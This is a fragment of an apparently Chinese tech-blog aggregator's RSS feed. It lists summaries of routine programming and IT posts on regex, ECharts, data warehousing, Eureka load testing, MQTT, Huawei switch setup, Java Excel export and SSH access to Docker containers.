常用分组构造形式说明(pattern)非命名捕获。捕获匹配的子字符串。编号为零的第一个捕获是由整个正则表达式模式匹配的文本，其它捕获结果则根据左括号的顺序从1开始自动编号。(?&amp;lt;name&amp;gt;pattern)命名捕获。将匹配的子字符串捕获到一个组名称或编号名称中。用于name的字符串不能包含任何标点符号，并且不能以数字开头。可以使用单引号替代尖括号，例如：(?&#39;name&#39;)(?:pattern)匹配 pattern 但不捕获该匹配的子表达式，即它是一个非捕获匹配，不存 储供以后使用的匹配。这对于用&#34;or&#34;字符(|) 组合模式部件的情况很有用。例如，&#39;industr(?:y|ies) &#39;是比&#39;industry|industries&#39;更经济的表达式。(?=pattern)它是一个非捕获匹配。例如，&#39;Windows (?=95|98|NT|2000)&#39;匹配 &#34;Windows 2000&#34;中的&#34;Windows&#34;，但不匹配&#34;Windows 3.</description>
    </item>
    <item>
      <title>echarts图表滚动条带动页面窗口滚动条的问题</title>
      <link>https://bchobby.github.io/posts/1113e700475062f71d4bdd3396ac4bca/</link>
      <pubDate>Wed, 29 Nov 2023 09:35:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1113e700475062f71d4bdd3396ac4bca/</guid>
      <description>网上搜了很多方法不管用，后来发现每次滚动echarts或者左右滑动echarts下方都会报错，报错提示如下，看看你们的图表是否这样报错：&#xA;报错信息如下：Unable to preventDefault inside passive event listener invocation&#xA;原因分析：&#xA;我们的事件已经默认被定义为了被动事件监听。结果我们在这个事件监听中调用了event.preventDefault()，浏览器就不高兴了，报错，告诉你：“你定义的事件不是一个被动事件监听吗？不就是告诉我为了提高响应速度不要处理event.preventDefault()吗？为啥你还要调用event.preventDefault()！”&#xA;解决方案：&#xA;1、文件node_modules下，找到zrender文件。在zrender文件中找到event.js文件。&#xA;2、具体路径：zrender/lib/core/event.js。&#xA;3、找到event.js文件下的addEventListener函数，如下修改标注红色字体部分。&#xA;新增代码：&#xA;el.addEventListener(name, handler, { passive: false }); 试一下，图表无论是放大缩小，或者是拖动滚动条，应该都没问题了。</description>
    </item>
    <item>
      <title>大数据——一文详解数据仓库概念（数据仓库的分层概念和维度建模详解）</title>
      <link>https://bchobby.github.io/posts/6d938ce9d9ba1902c259c4a3eb096d24/</link>
      <pubDate>Wed, 29 Nov 2023 09:33:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d938ce9d9ba1902c259c4a3eb096d24/</guid>
      <description>1、ods是什么？ ods层最好理解，基本上就是数据从源表拉过来，进行etl，比如MySQL映射到Hive，那么到了Hive里面就是ods层。ods全称是 Operational Data Store，操作数据存储——“面向主题的”，数据运营层，也叫ods层，是最接近数据源中数据的一层，数据源中的数据，经过抽取、洗净、传输，也就说传说中的 ETL之后，装入本层。本层的数据，总体上大多是按照源头业务系统的分类方式而分类的。但是，这一层面的数据却不等同于原始数据。在源数据装入这一层时，要进行诸如去噪（例如有一条数据中人的年龄是 300 岁，这种属于异常数据，就需要提前做一些处理）、去重（例如在个人资料表中，同一ID 却有两条重复数据，在接入的时候需要做一步去重）、字段命名规范等一系列操作。 2、数据仓库层dw 数据仓库层（dw），是数据仓库的主体.在这里，从 ods层中获得的数据按照主题建立各种数据模型。这一层和维度建模会有比较深的联系。&#xA;数据明细层：DWD(Data Warehouse Detail)；数据中间层：DWM(Data WareHouse Middle)；数据服务层：DWS(Data WareHouse Service)。 2.1、dwd明细层 明细层 (ods：Operational Data Store，dwd：data warehouse detail)&#xA;概念： 是数据仓库的细节数据层，是对STAGE层数据进行沉淀，减少了抽取的复杂性，同时ods/dwd的信息模型组织主要遵循企业业务事务处理的形式，将各个专业数据进行集中，明细层跟stage层的粒度一致，属于分析的公共资源数据生成方式： 部分数据直接来自kafka，部分数据为接口层数据与历史数据合成。这个stage层不是很清晰 2.2、dwm 轻度汇总层（ MID 或 dwb ， data warehouse basis） 概念： 轻度汇总层数据仓库中dwd层和dm层之间的一个过渡层次，是对dwd层的生产数据进行轻度综合和汇总统计（可以把复杂的清洗，处理包含，如根据PV日志生成的会话数据）。轻度综合层与dwd的主要区别在于二者的应用领域不同，dwd的数据来源于生产型系统，并未满意一些不可预见的需求而进行沉淀;轻度综合层则面向分析型应用进行细粒度的统计和沉淀数据生成方式： 由明细层按照一定的业务需求生成轻度汇总表。明细层需要复杂清洗的数据和需要MR处理的数据也经过处理后接入到轻度汇总层。日志存储方式： 内表，parquet文件格式。日志删除方式： 长久存储。表 schema ： 一般按天创建分区，没有时间概念的按具体业务选择分区字段。库与表命名。库名：dwb，表名：初步考虑格式为：dwb日期业务表名,待定。旧数据更新方式： 直接覆盖。 2.3、dws主题层（ dm ， data market 或dws， data warehouse service ） 概念： 又称数据集市或宽表。按照业务划分，如流量、订单、用户等，生成字段比较多的宽表，用于提供后续的业务查询， OLAP 分析，数据分发等。数据生成方式： 由轻度汇总层和明细层数据计算生成。日志存储方式： 使用impala内表，parquet文件格式。日志删除方式： 长久存储。表 schema ： 一般按天创建分区，没有时间概念的按具体业务选择分区字段。库与表命名。库名：dm，表名：初步考虑格式为：dm日期业务表名,待定。旧数据更新方式： 直接覆盖。 3、ads层 数据产品层（ads），这一层是提供为数据产品使用的结果数据。</description>
    </item>
    <item>
      <title>九、TypeScript之Web 开发</title>
      <link>https://bchobby.github.io/posts/aed09fb0dccbb8de6d00f7ac9bedb260/</link>
      <pubDate>Wed, 29 Nov 2023 09:30:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aed09fb0dccbb8de6d00f7ac9bedb260/</guid>
      <description>一、Web 开发基础 1 概述 下棋游戏（XXOO）是通过Web（网页）开发实现的，因此，我们要学习Web开发的相关知识。&#xA;Web 开发涵盖以下内容： HTML 、 CSS 、 JavaScript （ HTML 、 CSS 不是本课程的重点，仅简单讲解）。 三者之间的关系： （结构）HTML负责创建页面结构。 （样式）CSS负责美化页面结构（相当于化妆）。 （行为）JavaScript负责让页面“动”起来，解锁更多动效。 2 HTML HTML （ H yper T ext M arkup L anguage ，即：超文本标记语言）负责创建页面结构。 创建第一个 HTML 步骤： 1. 创建 a .html 文件。 2. 快速生成 HTML 基本骨架：在文件中输入英文叹号（ ! ），然后，按 tab 键。 3. 创建按钮标签：在 body 标签中，输入 button ，按 tab 键。 4. 打开 HTML 页面：在文件夹中找到页面文件，双击打开。 注意：页面中可见的内容，写在 body 标签中。 3 CSS CSS （ C ascading S tyle S heets ，即：层叠样式表）负责美化页面结构。 使用 CSS 的三种方式： 1.</description>
    </item>
    <item>
      <title>mysql 左连接去重子表数据并汇总</title>
      <link>https://bchobby.github.io/posts/aa133850b7185f266616d0da151135b5/</link>
      <pubDate>Wed, 29 Nov 2023 09:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa133850b7185f266616d0da151135b5/</guid>
      <description>SELECT sum(DISTINCT case when t1.id then t1.amount else 0 end ) as t1sumAmount from table1 t1 left join table2 t2 on t1.id = t2.t1_id 本文只做记录</description>
    </item>
    <item>
      <title>通过JMeter压测结果来分析Eureka多种服务下线机制后的服务感知情况</title>
      <link>https://bchobby.github.io/posts/d642cd4076daae1c675adca334990fdb/</link>
      <pubDate>Wed, 29 Nov 2023 09:23:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d642cd4076daae1c675adca334990fdb/</guid>
      <description>文章目录 前言1. Eureka-Server的设计2. Eureka+Ribbon感知下线服务机制3.服务调用接口压测模型4.Eureka几种服务下线的方式4.1强制下线压测 4.2 发送delete（）请求压测 4.3 调用DiscoveryManager压测 4.4 三方工具Actuator压测 总结 前言 上文末尾讲到了Eureka对于下线服务的感知不是很敏锐，会把已经下线的服务加载到可用的服务列表里。当轮询到该服务实例来处理请求就会出现“调用请求已经发送出去，但是接口却TimeOut、404、500…错误”，本文会使用多种服务下线方式并结合JMeter压测来具体分析&#xA;1. Eureka-Server的设计 Eureka中设计了三级缓存：一级缓存（registry注册表）——二级缓存（readWriteCacheMap读写缓存）——三级缓存（readOnlyCacheMap只读缓存）。作为经典的AP模型，读写分离，牺牲了一致性保证了高可用。（以后会分析源码）&#xA;2. Eureka+Ribbon感知下线服务机制 当客户端的服务实例正常下线，会发送心跳向Eureka服务端中的一级缓存更新信息（30S）——一级缓存会向二级缓存同步信息（立刻）——二级缓存向三级缓存同步信息（30S）——客户端从三级缓存中同步信息（30S）——Ribbon会向客户端同步缓存，更新服务列表upList（30S）,可见如果是在极端情况下，感知到一个服务下线是需要120S的。（注意这并不是串行化执行，30S均为默认时间）&#xA;下面基于这个流程，采用多种下线的方式结合JMeter压测报告来研究Eureka服务下线感知情况&#xA;3.服务调用接口压测模型 采用Jmeter（100个线程—3S内请求）对服务下线后的服务调用接口进行压测，来观察接口执行情况，以及结合日志来体现Ribbon的负载均衡情况：&#xA;通过观察线程组执行完后响应的异常率，来判断已经下线的服务是否没有被Eureka、Ribbon及时更新（也就是服务的感知情况），从而使调用方调用到了不可用的服务。&#xA;服务被调用方现有8081、8083、8084三个端口的实例，本次实验统一下线其中两个服务实例，并且Ribbon负载均衡的策略都为默认&#xA;4.Eureka几种服务下线的方式 4.1强制下线 直接关闭进程，类似于在服务器上通过kill-9的方式。通过下面的案例可以看到，当我强制下线了服务下的两个服务实例之后，此时立即进行服务间的远程调用（由于Eureka的缓存机制，已经下线的服务还会在缓存的服务列表中没来得及更新，但是列表里已经被下线的实例已经无法再处理请求），调用方会报出connect refused的错误，就像这样：&#xA;在控制台中，调用方直接无法建立连接，请求已经到达目标服务，但目标服务主动拒绝了连接。&#xA;在postman中发起调用的接口则是直接报出了500错误，显示服务端存在内部问题：&#xA;PS：这样下线会存在很多风险，比如进程中还有请求在处理，不建议使用&#xA;压测 15S，使用Jmeter压测模型进行压测，发现异常率高达51%&#xA;30S，使用Jmeter压测模型进行压测，发现异常率为0%&#xA;4.2 发送delete（）请求 向Eureka服务端发送http请求，来删除注册表的服务信息，也就是一级缓存中的数据&#xA;@GetMapping(&#34;/service-down&#34;) public String shutDown(@RequestParam List&amp;lt;Integer&amp;gt; portParams,@RequestParam String vipAddress) { List&amp;lt;Integer&amp;gt; successList = new ArrayList&amp;lt;&amp;gt;(); //获取到服务名下的所有服务实例 List&amp;lt;InstanceInfo&amp;gt; instances = eurekaClient.getInstancesByVipAddress(vipAddress, false); //map&amp;lt;端口-实例id&amp;gt; instances.forEach(temp -&amp;gt; { String instanceId = temp.getInstanceId(); String appName = temp.getAppName(); int port = temp.</description>
    </item>
    <item>
      <title>阿里云MQTT: 子设备上线流程</title>
      <link>https://bchobby.github.io/posts/58d616ef9628f338aa1110a6691ae5ed/</link>
      <pubDate>Tue, 28 Nov 2023 23:57:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58d616ef9628f338aa1110a6691ae5ed/</guid>
      <description>0. 背景&#xA;阿里云网关子设备上平台的资料很少。有些厂家直接配置每个子设备的DeviceSecret到网关里，显然太麻烦了！我经过阅读阿里文档，发现有些简化的方法，更便于客户使用，因此分享给大家。&#xA;1. 主要信息片段&#xA;子设备 ${SubProductKey} ${SubDeviceName} ${SubDeviceSecret}&#xA;父网关 ${DadProductKey} ${DadDeviceName} ${DadDeviceSecret}&#xA;Product就是所有相同属性和操作的设备的集合或者类。Key就是一串唯一标识了。&#xA;Device就是具体一个产品的实例或对象了。&#xA;Name就是设备的唯一标识，阿里要求在自己的Product内唯一即可。这就是为什么我起个dev01的名字，系统不提示重名的原因。产品名字空间不同而已。&#xA;Secret就是一个密钥，加密用到。到底是公钥还是私钥没深入研究。&#xA;2. 阿里平台准备。&#xA;父网关必须已具备上线能力。子设备是依赖父网关的MQTT通道上线的。子设备至少已经在平台添加好产品和具体设备。剩下的工作就由父网关设备内部的软件，自动让设备注册，建立拓扑，上线&#xA;3.网关内部Alink流程&#xA;3.1 动态注册&#xA;名字起的不知所云，经过试验，说白了就是查询子设备的${SubDeviceSecret}&#xA;父网关发布主题：/sys/${DadProductKey}/${DadDeviceName}/thing/sub/register&#xA;父网关订阅主题：/sys/${DadProductKey}/${DadDeviceName}/thing/sub/register_reply&#xA;{&#xA;&#34;id&#34;: &#34;123&#34;,&#xA;&#34;version&#34;: &#34;1.0&#34;,&#xA;&#34;sys&#34;:{&#xA;&#34;ack&#34;:1&#xA;},&#xA;&#34;params&#34;: [&#xA;{ &#34;deviceName&#34;: ${SubDeviceName}, &#34;productKey&#34;: ${SubProductKey}&#xA;}&#xA;],&#xA;&#34;method&#34;: &#34;thing.sub.register&#34;&#xA;}&#xA;如果返回200，${SubDeviceSecret}也就抓取到手。&#xA;3.2 建立拓扑&#xA;说白了，目的是建立子设备与网关的父子关系（如果原先已建立，也会返回成功）&#xA;父网关发布主题：/sys/${DadProductKey}/${DadDeviceName}/thing/topo/add&#xA;父网关订阅主题：/sys/${DadProductKey}/${DadDeviceName}/thing/topo/add_reply&#xA;{&#xA;&#34;id&#34;: &#34;123&#34;,&#xA;&#34;version&#34;: &#34;1.0&#34;,&#xA;&#34;sys&#34;:{&#xA;&#34;ack&#34;:1&#xA;},&#xA;&#34;params&#34;: [&#xA;{ &#34;deviceName&#34;: ${SubDeviceName},&#xA;&#34;productKey&#34;: ${SubProductKey},&#xA;&#34;sign&#34;: &#34;3908C94C2D9F33AC50A4CC9B1C4BCD45093E3EA4&#34;,</description>
    </item>
    <item>
      <title>RIS-Assisted Communication Radar Coexistence:Joint Beamforming Design and Analysis</title>
      <link>https://bchobby.github.io/posts/25d0e23fe40f0adf94b13a2180822d6d/</link>
      <pubDate>Tue, 28 Nov 2023 21:46:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25d0e23fe40f0adf94b13a2180822d6d/</guid>
      <description>1、基本内容： 未来无线通信系统需要更高的数据传输率和和智能感知服务，这就对频谱资源提出了更高的需求。一方面，我们可以将频谱向高频拓展。另一方面，在多个系统之间实现频谱共享。由于雷达和通信系统在硬件、信号处理等许多方面的相似性，ISAC被提出来。ISAC有两个层面，低层面来说，就是只共享频谱，对应的系统是通信雷达共存系统，研究难点是互干扰管理；更高层面就是不仅共享频谱，还共享设备，也就是双功能雷达通信系统（DFRC），研究难点是ISAC波形的设计。&#xA;本文考虑的是通信雷达共存系统，为了消除互干扰，作者将两个RIS引入系统，一个部署在发射器抑制发射器对雷达的干扰，一个部署在接收器抑制雷达对接收器的干扰。&#xA;作者考虑了雷达功率较大和较小两种场景。&#xA;本文的目标是通过联合优化雷达的有源波束形成矩阵和RIS​​的无源波束形成矩阵来最大化通信性能，同时确保雷达发射功率约束下的雷达检测性能。作者考虑用双环罚对偶分解double-loop penalty dualdecomposition (PDD)求解。&#xA;2、系统模型： 雷达探测方向：&#xA;脉冲重复间隔（PRI）：&#xA;雷达发射的脉冲信号：&#xA;方向的发射功率：&#xA;发射信号经过的时间才被接收。&#xA;方向的回波：&#xA;通信对感知的干扰：“发射机-雷达”和“发射机-RIS1-雷达”。&#xA;方向的感知SINR：&#xA;————————————————————————————————————————&#xA;用户接收的想要的通信信号：&#xA;感知对通信的干扰：“雷达-接收器”和“雷达-RIS2-接收器”&#xA;整个epoch的平均通信SINR：&#xA;3、优化问题： ——————————————————内环————————————————————&#xA;作者考虑在PDD框架下求解，难点在于目标函数是分式项以及感知约束中变量高度耦合。&#xA;对于目标函数，利用分式规划（FP）求解。&#xA;对于感知约束，引入辅助变量，来替换耦合部分。&#xA;感知约束变为：&#xA;将辅助变量引入的等式约束通过罚因子加入到广义拉格朗日函数中。&#xA;感知约束变成了一个difference-of-convex (DC)函数，可以使用concave-convex procedure (CCCP)进行处理。然后利用块坐标下降（BCD）求解。&#xA;——————————————————外环—————————————————————&#xA;更新罚因子和对偶变量。&#xA;罚因子以常数衰减。&#xA;对偶变量通过KKT条件更新。&#xA;外环终止条件：约束违反在容忍范围外就终止。&#xA;约束违反程度：&#xA;—————————————————更新流程————————————————————&#xA;参考文献&#xA;[1]Y. He, Y. Cai, H. Mao and G. Yu, &#34;RIS-Assisted Communication Radar Coexistence: Joint Beamforming Design and Analysis,&#34; in IEEE Journal on Selected Areas in Communications, vol. 40, no. 7, pp.</description>
    </item>
    <item>
      <title>模拟退火算法应用——求解TSP问题</title>
      <link>https://bchobby.github.io/posts/2ccf52cd6bbe402e4fea0a36859136c4/</link>
      <pubDate>Tue, 28 Nov 2023 20:36:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ccf52cd6bbe402e4fea0a36859136c4/</guid>
      <description>仅作自己学习使用 一、问题 旅行商问题(TSP) 是要求从一个城市出发，依次访问研究区所有的城市，并且只访问一次不能走回头路，最后回到起点，求一个使得总的周游路径最短的城市访问顺序。&#xA;采用模拟退火算法求解TSP问题，很自然的想到退火的目标函数（优化函数）应该就是总的周游距离。那么在算法中如何体现呢？那就是把城市的坐标放在一个n×2的矩阵中，矩阵中存放城市的顺序就是依次周游城市的路径，所以在求解过程中会不断的产生新的更优解（周游顺序，在算法中体现就是城市坐标的存放顺序），有了这个关键的思路就很好解决了。&#xA;二、Matlab代码 clear clc T1 = cputime; C = [ % 各个城市坐标 39.91, 116.39; % 北京 31.22, 121.48; % 上海 23.13, 113.27; % 广州 22.54, 114.06; % 深圳 30.67, 104.06; % 成都 34.27, 108.93; % 西安 31.98, 118.75; % 南京 39.92, 116.36; % 天津 28.71, 115.83; % 南昌 45.75, 126.63; % 哈尔滨 36.07, 120.38; % 青岛 38.04, 114.48; % 石家庄 29.59, 106.54; % 重庆 26.08, 119.</description>
    </item>
    <item>
      <title>初试华为网络设备-交换机</title>
      <link>https://bchobby.github.io/posts/2492c816f0954d5b4b48a4b5a3b88b83/</link>
      <pubDate>Tue, 28 Nov 2023 17:56:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2492c816f0954d5b4b48a4b5a3b88b83/</guid>
      <description>目录​​​​​​​&#xA;一.交换机的工作原理&#xA;二.交换机的三个主要功能&#xA;三.交换机的类型&#xA;四.华为交换机的系统类型&#xA;五.常用华为交换机常用配置和命令&#xA;1.查看设备信息&#xA;2.查看和修改交换机系统时间&#xA;3.修改设备命令&#xA;4.配置console登陆认证方式及超时时间&#xA;5.telnet配置&#xA;6.配置设备超级密码&#xA;7.配置aaa登陆认证&#xA;一.交换机的工作原理 交换机根据收到数据帧中的源MAC地址建立该地址同交换机端口的映射，并将其写入到MAC地址表中。交换机将数据帧中的目的MAC地址同已建立的Mac地址表进行比较，已决定由哪个端口进行转发。如数据帧中的目的Mac地址不存在Mac地址表中，则向所有端口转发。这一过程称为泛洪（flood）。广播帧和组播帧向所有端口进行转发。 二.交换机的三个主要功能 学习：以太网交换机了解每一端口相连设备的Mac地址，并将地址同相应的端口映射起来存放在交换机缓存中的Mac地址表中。转发/过滤：当一个数据帧的目的地址在Mac地址表中有映射时，它会被转发到连接目的节点的端口而不是所有端口（如该数据帧为广播/组播帧转发至所有端口）。消除回路：当交换机包括一个冗余回路时，以太网交换机通过生成树协议避免回路的产生，同时允许存在后备路径 三.交换机的类型 傻瓜式交换机：无法进行配置，无法进行划分vlan等操作，基于交换机工作原理进行转发所收到的数据包，适用于办公区域进行多终端设备进行连接。二层交换机：传统交换机可以进行配置，基于Mac地址表进行转发数据包。三层交换机：可以进行配置，在二层交换机功能上添加了路由功能，可以基于路由表进行一次转发多次通信，同样转发速度也会快很多，相对价格会比二层交换机贵很多。 四.华为交换机的系统类型 用户模式：登陆设备后，直接进入的就是用户模式， 只能执行少量查看配置命令。视图模式：用户模式下，执行system-view进入视图模式，可执行设备全局配置的命令。局部模式：视图模式下，输入局部配置命令，如interface GE1/0/0，进入接口模式，vlan 10进入vlan模式 五.常用华为交换机常用配置和命令 1.查看设备信息 display version 2.查看和修改交换机系统时间 display clock clock datetime 12:00:00 2023-11-27 3.修改设备命令 system-view sysname hostname 4.配置console登陆认证方式及超时时间 console登陆：默认console登陆无密码，任何人通过串口线直连设备console接口，可直接修改配置，管理员可配置console密码，登陆不需要用户名，初次配置时使用console。&#xA;超时时间：指连接设备后，一段时间内无操作，系统自动退出，需重新登陆，默认超时时间为10min。&#xA;#进入console配置模式 [*CE6800]user-interface console 0 #Console认证方式为password [*CE6800-ui-console0]authentication-mode password #设置console密码为密文形式huawei@123 [*CE6800-ui-console0]set authentication password cipher huawei@123 #设置超时时间为20min [*CE6800-ui-console0]idle-timeout 20 0 #使用quit返回视图模式，保存后使用display this检查配置结果，乱码是加密后的密码； 5.telnet配置 配置密文登陆验证&#xA;进入vty配置模式，0 4表示允许5个并发telnet连接&#xA;[~CE6800]user-interface vty 0 4 配置telnet使用密文认证，设置密码为Gauss_234</description>
    </item>
    <item>
      <title>51单片机的智能窗帘系统【含proteus仿真&#43;程序&#43;报告&#43;原理图】</title>
      <link>https://bchobby.github.io/posts/38d043179db018399d9db234f9d17385/</link>
      <pubDate>Tue, 28 Nov 2023 17:33:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38d043179db018399d9db234f9d17385/</guid>
      <description>1、主要功能 该系统由AT89C51单片机+LCD1602显示模块+DS18B20温度模块+DS1302时间模块+光敏传感器+步进电机+蓝牙等模块构成。适用于智能窗帘、智能门窗家具等相似项目。&#xA;可实现基本功能:&#xA;版本一：&#xA;1、LCD1602实时显示北京时间、环境温度、光照强度、手动/自动控制等信息&#xA;2、DS18B20采集温度信息&#xA;3、DS1302采集时间数据&#xA;4、光敏传感器（电位器模拟）采集光照强度信息&#xA;5、可以设置自动或手动模式：自动模式下，光照强度过高/过低（模拟大中午和天黑），步进电机自动运行关闭窗帘，光照强度适中时（天亮），自动打开窗帘；手动模式下，可以手动开启/关闭窗帘。&#xA;6、自带定时模式：按键可以设置窗帘自动开启和关闭的时间，默认8：00开启，19：00关闭。&#xA;本项目同时包含器件清单、proteus运行的项目视频、代码的纯文本文件（914行代码）和课设报告（5946字）&#xA;版本二：&#xA;加入蓝牙模式：可以通过蓝牙控制窗帘的开启和关闭。&#xA;本项目同时包含器件清单、proteus运行的项目视频、代码的纯文本文件（997行代码）和课设报告（6465字）&#xA;2、仿真 protues 仿真使用的是8.10版本，由于该软件版本迭代原因，不能确保其他版本软件能够正常运行，请安装好对应软件（版本一致或者高于这个版本都可以）&#xA;版本一：&#xA;版本二：&#xA;3、程序代码 只是放上来了部分代码，仅供参考，注释齐全。&#xA;4、原理图 版本一：&#xA;版本二：&#xA;5、报告 6.5k字，29页，纯手打，有详细的电路分析和代码解析&#xA;6、常见问题汇总 里面包含了我对各个模块的详细解析，可以结合代码一起理解。如果正巧老师问题多，这个可以帮到你哦。（不定时更新，讲解模块也会越来越多）&#xA;7、资源获取 本项目包含的所有文件都可以在：今天也不想打工，回复 “51智能窗帘” get！&#xA;项目纯手打，不是免费的哦，一杯奶茶的💴~&#xA;希望可以帮到你哈！</description>
    </item>
    <item>
      <title>Java实现Excel导出数据（下载导出） -- 有这一篇就够了</title>
      <link>https://bchobby.github.io/posts/ff520208f9fc2650a6ec7827fd85d71e/</link>
      <pubDate>Tue, 28 Nov 2023 16:58:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff520208f9fc2650a6ec7827fd85d71e/</guid>
      <description>前言： 昨天有个刚毕业学妹来问：&#xA;1、如何把数据库的数据写入到excel，&#xA;2、如何导出文件到本地、或者上传到服务器又或者返回到浏览器&#xA;这里想针对这两个问题做个记录，&#xA;突然想写一下专门的excel表格导出到本地，或者返回到浏览器下载的，作者这里使用的是EasyExcel&#xA;一、初始化EasyExcel的ExcelWriter 这个是easyexcel中封装好的一个工具，下述是他的注释作用： Excel Writer 此工具用于通过 POI 将值写出到 Excel。此对象可以执行以下两个功能。 1.创建一个新的空Excel工作簿，填充值后将值写入流。 2. 编辑现有 Excel，写入原始 Excel 文件，或将其写入其他地方。 这里初始化封装了一个方法：也可以自行调用修改&#xA;1、下方代码是将数据写入excel并导入到本地的一个方法实现: /** * 导出数据到excel文件返回到前端浏览器 * @param filename 文件名 * @param dataResult 源数据 * @param clazz 数据类 * @param toFilePath 本地路径 */ public static void exportExcelToLocal(String filename, List&amp;lt;?&amp;gt; dataResult, Class&amp;lt;?&amp;gt; clazz, String toFilePath) { OutputStream outputStream = null; ExcelWriter excelWriter = null; try { if (StringUtils.isBlank(filename)) { throw new RuntimeException(&#34;</description>
    </item>
    <item>
      <title>Maya 2024(3D建模、动画和渲染软件)</title>
      <link>https://bchobby.github.io/posts/1e30ed55825b3260abd54614c64211cb/</link>
      <pubDate>Tue, 28 Nov 2023 15:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e30ed55825b3260abd54614c64211cb/</guid>
      <description>Maya 2024是一款非常强大的3D建模、动画和渲染软件，它提供了许多新功能和改进，以帮助建模师、动画师和渲染师更加高效地进行创作。&#xA;在建模方面，Maya 2024引入了Symmetry（对称）功能，可以在网格两侧生成均匀的边，使建模师可以更加轻松地创建对称的模型。此外，Maya 2024还提供了一些新的选项，用于选择性地保留网格细节区域中的特征，例如根据边的角度或组件标记保留边的选项。此外，Maya 2024还对重新拓扑工作流进行了改进，包括界面和可用性改进，使建模师可以获得更好的结果。&#xA;在动画方面，Maya 2024提供了一些新的工具和功能，用于雕刻动画曲线和调整动画。例如，可以使用曲线图编辑器的“抓取”、“平滑”和“涂抹”曲线雕刻工具，本能地、直观地塑造关键帧组，并轻松地进行调整。此外，Maya 2024还引入了基于笔刷的雕刻Graph Editor工具，可以使用通用场景描述格式的数据来创建自定义材质，并使Maya自动将其保存到活动的USD层。&#xA;在渲染方面，Maya 2024提供了一些新的选项和功能，以帮助渲染师更加高效地进行渲染。例如，可以使用Maya标准笔刷热键来配置曲线雕刻工具笔刷半径和强度：B表示大小，M表示压力。此外，Maya 2024还为多个工作流提供了重要的稳定性修复和功能更新，例如指定相对路径和通过已更新的Maya通用场景描述(USD)插件使用显示层等。&#xA;总之，Maya 2024是一款非常强大的3D建模、动画和渲染软件，它提供了许多新功能和改进，以帮助建模师、动画师和渲染师更加高效地进行创作。&#xA;Maya 2024(3D建模、动画和渲染软件)</description>
    </item>
    <item>
      <title>SVG图片选择库组件封装及使用</title>
      <link>https://bchobby.github.io/posts/3eb39ab2a85b369d9a0dfb6ae1d14b8f/</link>
      <pubDate>Tue, 28 Nov 2023 15:32:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eb39ab2a85b369d9a0dfb6ae1d14b8f/</guid>
      <description>需求 需求： 在项目中通常需要做菜单管理，想要让左侧菜单好看一点，一般都会选择添加图标，需要自定义选择喜欢的图标，得提供一个有选择项的图标库&#xA;延伸需求：在项目中通常可能有好几个图标选择库，可能每个可选择图标库里的图标都不能相同，这就需要我们做区分展示&#xA;前置条件 需要使用到svg图片，以前有写下载使用svg图片的文章，可以参考一下&#xA;链接：在vue中使用svg&#xA;图例 1. 菜单图标库 2. 场景图标库 实现 svg文件 可以在svg文件夹的下级创建scene文件夹，在svg文件夹中的svg图片属于菜单图标库（不包含scene文件夹中的图片）,scene文件夹中的svg图片属于场景图标库，如果想美观一点可以把菜单图标库的图标用文件夹归纳一下，重要的是icons文件夹下的index.js文件中的匹配&#xA;index.js文件&#xA;import Vue from &#39;vue&#39; import SvgIcon from &#39;@/components/SvgIcon&#39;// svg component Vue.component(&#39;svg-icon&#39;, SvgIcon) const req = require.context(&#39;./svg&#39;, false, /\.svg$/) //温馨提示:要想使用scene文件夹中的图片一定要写这个哦 const scenereq = require.context(&#39;./svg/scene&#39;, false, /\.svg$/) const requireAll = requireContext =&amp;gt; requireContext.keys().map(requireContext) requireAll(req) requireAll(scenereq) 1. 菜单图标组件 组件（@/components/IconSelect） index.vue文件 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;icon-body&#34;&amp;gt; &amp;lt;el-input v-model=&#34;name&#34; style=&#34;position: relative;&#34; clearable placeholder=&#34;请输入图标名称&#34; @clear=&#34;filterIcons&#34; @input.native=&#34;filterIcons&#34;&amp;gt; &amp;lt;i slot=&#34;suffix&#34; class=&#34;el-icon-search el-input__icon&#34; /&amp;gt; &amp;lt;/el-input&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>【VS Code】使用 VS Code 登陆远程服务器上的 Docker 容器</title>
      <link>https://bchobby.github.io/posts/c8d829a01ca5bebdd13d91fcaba49e11/</link>
      <pubDate>Tue, 28 Nov 2023 14:19:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8d829a01ca5bebdd13d91fcaba49e11/</guid>
      <description>以下命令默认已经构建了一个 Docker Image。 # 在服务器上启动 docker (-p 端口映射，用于后续的 ssh 连接) docker run -itd -v /mnt/mount/:/home -p 8124:22 --name container-name --gpus all image-name # 进入容器中 docker exec -it container-name /bin/bash # 设置密码，后续登陆使用，比如 admin passwd # 查看 ssh 状态（出现 ssh: unrecognized service 表示 ssh 未安装） service ssh status # 安装 ssh apt-get update apt-get install openssh-server # 启动 ssh (出现 * Starting OpenBSD Secure Shell server sshd 表示启动成功) service ssh start # 打开 ssh 配置文件进行修改，并重启 vi /etc/ssh/sshd_config ``` # 修改 PermitRootLogin 和 UsePAM #PermitRootLogin prohibit-password PermitRootLogin yes # UsePAM yes UsePAM no ``` service ssh restart # 在服务器上进行连接测试，输入上面设置的密码 admin，登陆成功则没问题 ssh root@127.</description>
    </item>
    <item>
      <title>Java——》线性数据结构</title>
      <link>https://bchobby.github.io/posts/0b0d764dbb8d3eedd71e843bfae1f35a/</link>
      <pubDate>Tue, 28 Nov 2023 13:39:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b0d764dbb8d3eedd71e843bfae1f35a/</guid>
